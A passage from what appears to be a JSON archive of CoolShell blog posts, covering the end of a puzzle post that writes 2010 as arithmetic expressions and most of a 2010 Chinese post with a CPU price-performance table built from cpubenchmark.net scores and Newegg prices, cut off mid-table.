= ((1/.2)*3/.4)*(.5+6*(.7+8)+.9)<br/>\n2010 = ((1/(.2+.3))/.4)*(5*(.6+78)+9)<br/>\n2010 = ((1/.2)/.3)*((4+5)*(6-.7+8)+.9)<br/>\n2010 = ((1/(.2-.3))/(.4-.5))*(6+7+8-.9)</p>\n<p>文章：<a href=\"http://www.thesamet.com/2010.txt\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3136.html\"><img alt=\"chmod -x chmod的N种解法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1360.html\"><img alt=\"谁写了Linux\" height=\"150\" src=\"../wp-content/uploads/2009/08/Linux-Stat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1360.html\">谁写了Linux</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22341.html\"><img alt=\"感染新冠的经历\" height=\"150\" src=\"../wp-content/uploads/2022/12/covid19-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22341.html\">感染新冠的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/294.html\"><img alt=\"OSGi和Java企业级运算的未来方向\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/511.html\"><img alt=\"未来五年程序员需要掌握的10项技能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/511.html\">未来五年程序员需要掌握的10项技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2036.html\">2010 = 1+2-(3-4-5)*6*7*8-9</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-8 CPU的性价比.html",
    "content": "<html><body><p>下面这个网站是关于CPU的性价比的，其中的性能数据来源于<a href=\"http://www.cpubenchmark.net/cpu_list.php\">cpubenchmark.net</a>，而价格数据来源于：<a href=\"http://www.newegg.com/Store/Category.aspx?Category=34\">newegg.com</a>。</p>\n<p style=\"text-align: center;\"><a href=\"http://paulisageek.com/compare/cpu/\" target=\"_blank\">http://paulisageek.com/compare/cpu/</a></p>\n<p style=\"text-align: left;\">于是，得出了目前性价比最差的是：Intel Xeon X5570 @ 2.93GHz，最好的是：AMD Phenom 9850 Quad-Core，下面是一个性价比表格。</p>\n<p style=\"text-align: left;\"><span id=\"more-2039\"></span></p>\n<p></p><center>\n<table border=\"0\">\n<thead>\n<tr>\n<th id=\"yui-dt0-th-Name\">CPU类型</th>\n<th id=\"yui-dt0-th-Performance\">性能</th>\n<th id=\"yui-dt0-th-Price\">价值</th>\n<th id=\"yui-dt0-th-PerformancePrice\">性价比</th>\n</tr>\n</thead>\n<tbody></tbody>\n<tbody>\n<tr id=\"yui-rec20\">\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280\">AMD Phenom 9850 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9850+Quad-Core\">2864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103280\">89.99</a></td>\n<td>31.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706\">AMD Athlon II X4 620</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+620\">3084</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103706\">99.00</a></td>\n<td>31.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726\">AMD Athlon II X3 425</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+425\">2366</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103726\">76.00</a></td>\n<td>31.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772\">AMD Athlon 64 X2 Dual Core 6000+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+6000%2B\">1577</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103772\">53.99</a></td>\n<td>29.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704\">AMD Athlon II X4 630</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X4+630\">3282</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103704\">112.99</a></td>\n<td>29.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279\">AMD Athlon 64 X2 Dual Core 5600+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5600%2B\">1473</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103279\">50.99</a></td>\n<td>28.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265\">Intel Celeron E3200 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3200+%40+2.40GHz\">1515</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116265\">52.99</a></td>\n<td>28.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724\">AMD Athlon II X3 435</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X3+435\">2416</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103724\">87.00</a></td>\n<td>27.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295\">AMD Phenom 8750 Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8750+Triple-Core\">2000</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103295\">72.99</a></td>\n<td>27.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688\">AMD Athlon II X2 240</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+240\">1603</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103688\">58.99</a></td>\n<td>27.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687\">AMD Athlon II X2 245</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+245\">1679</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103687\">62.00</a></td>\n<td>27.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264\">Intel Celeron E3300 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E3300+%40+2.50GHz\">1668</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116264\">62.99</a></td>\n<td>26.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698\">AMD Sempron 140</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+140\">913</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103698\">35.99</a></td>\n<td>25.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072\">Pentium Dual-Core E5200 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5200+%40+2.50GHz\">1631</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116072\">64.50</a></td>\n<td>25.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681\">AMD Athlon II X2 250</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+II+X2+250\">1663</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103681\">67.00</a></td>\n<td>24.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074\">Pentium Dual-Core E5300 @ 2.60GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5300+%40+2.60GHz\">1706</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116074\">69.99</a></td>\n<td>24.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075\">Intel Celeron E1500 @ 2.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1500+%40+2.20GHz\">1216</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116075\">49.99</a></td>\n<td>24.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656\">AMD Phenom II X4 925</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+925\">3377</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103656\">140.99</a></td>\n<td>24</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287\">AMD Phenom 9150e Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9150e+Quad-Core\">2148</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103287\">89.99</a></td>\n<td>23.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091\">Pentium Dual-Core E6300 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6300+%40+2.80GHz\">1859</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116091\">80.99</a></td>\n<td>23</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813\">AMD Phenom 9750 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9750+Quad-Core\">2727</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103813\">119.00</a></td>\n<td>22.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207\">Intel Core2 Quad Q8300 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8300+%40+2.50GHz\">3554</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115207\">159.99</a></td>\n<td>22.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055\">Intel Core2 Quad Q8200 @ 2.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8200+%40+2.33GHz\">3221</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115055\">148.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650\">AMD Phenom II X4 810</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+810\">3019</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103650\">139.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288\">AMD Phenom 9650 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9650+Quad-Core\">2595</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103288\">119.99</a></td>\n<td>21.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093\">Pentium Dual-Core E6500 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E6500+%40+2.93GHz\">2042</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116093\">94.99</a></td>\n<td>21.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215\">Intel Core i5 750 @ 2.67GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i5+750+%40+2.67GHz\">4186</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215\">194.99</a></td>\n<td>21.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">Intel Core2 Quad Q8400 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8400+%40+2.66GHz\">3602</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">167.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692\">AMD Phenom II X4 965</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+965\">4200</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692\">195.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808\">AMD Phenom II X4 955</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+955\">3770</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808\">175.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644\">AMD Phenom II X4 940</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+940\">3558</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644\">166.97</a></td>\n<td>21.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259\">Dual-Core AMD Opteron 1216</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1216\">1169</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259\">55.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293\">AMD Phenom 9350e Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9350e+Quad-Core\">2296</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293\">109.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716\">AMD Athlon 5000 Dual-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+5000+Dual-Core\">1376</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716\">65.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675\">AMD Phenom II X4 945</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+945\">3403</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675\">165.00</a></td>\n<td>20.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709\">AMD Phenom 8250e Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8250e+Triple-Core\">1531</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709\">75.99</a></td>\n<td>20.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269\">AMD Phenom 8600B Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8600B+Triple-Core\">1864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269\">92.99</a></td>\n<td>20.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214\">Intel Core i7 860 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+860+%40+2.80GHz\">5565</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214\">279.99</a></td>\n<td>19.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076\">Pentium Dual-Core E5400 @ 2.70GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5400+%40+2.70GHz\">1754</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076\">89.99</a></td>\n<td>19.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131\">Intel Core2 Quad Q9400 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9400+%40+2.66GHz\">3678</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131\">189.99</a></td>\n<td>19.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202\">Intel Core i7 920 @ 2.67GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+920+%40+2.67GHz\">5452</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202\">288.99</a></td>\n<td>18.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210\">AMD Athlon 64 X2 Dual Core 5200+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5200%2B\">1374</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210\">73.99</a></td>\n<td>18.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648\">AMD Phenom II X3 710</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+710\">2201</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648\">119.00</a></td>\n<td>18.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680\">AMD Phenom II X2 550</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+550\">1834</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680\">99.00</a></td>\n<td>18.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694\">AMD Phenom II X2 545</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+545\">1722</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694\">93.98</a></td>\n<td>18.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649\">AMD Phenom II X3 720</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+720\">2525</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649\">140.99</a></td>\n<td>17.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769\">AMD Athlon 64 X2 Dual Core 5400+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5400%2B\">1443</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769\">81.99</a></td>\n<td>17.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189\">AMD Sempron LE-1250</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1250\">550</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189\">31.99</a></td>\n<td>17.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683\">AMD Phenom II X3 705e</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+705e\">2324</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683\">134.99</a></td>\n<td>17.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134\">Dual-Core AMD Opteron 1220</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1220\">1443</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134\">85.99</a></td>\n<td>16.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041\">Intel Core2 Quad Q9550 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9550+%40+2.83GHz\">4178</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041\">249.99</a></td>\n<td>16.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060\">Intel Core2 Quad Q9505 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9505+%40+2.83GHz\">3810</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060\">229.99</a></td>\n<td>16.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261\">Dual-Core AMD Opteron 1218</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1218\">1094</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261\">65.99</a></td>\n<td>16.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056\">Intel Core2 Duo E7500 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7500+%40+2.93GHz\">1947</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056\">119.99</a></td>\n<td>16.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092\">Intel Celeron E1600 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1600+%40+2.40GHz\">1007</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092\">61.99</a></td>\n<td>16.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206\">Intel Core2 Duo E7400 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7400+%40+2.80GHz\">1864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206\">117.99</a></td>\n<td>15.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682\">AMD Phenom II X4 905e</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+905e\">2789</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682\">184.99</a></td>\n<td>15.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127\">Intel Xeon X3220 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3220+%40+2.40GHz\">2961</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127\">199.99</a></td>\n<td>14.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166\">Intel Xeon X3360 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3360+%40+2.83GHz\">4277</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166\">299.99</a></td>\n<td>14.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059\">Intel Core2 Duo E7600 @ 3.06GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7600+%40+3.06GHz\">2010</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059\">144.99</a></td>\n<td>13.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130\">Intel Core2 Quad Q9650 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9650+%40+3.00GHz\">4456</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130\">324.99</a></td>\n<td>13.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039\">Intel Celeron 430 @ 1.80GHz</a></td>\n<td><a 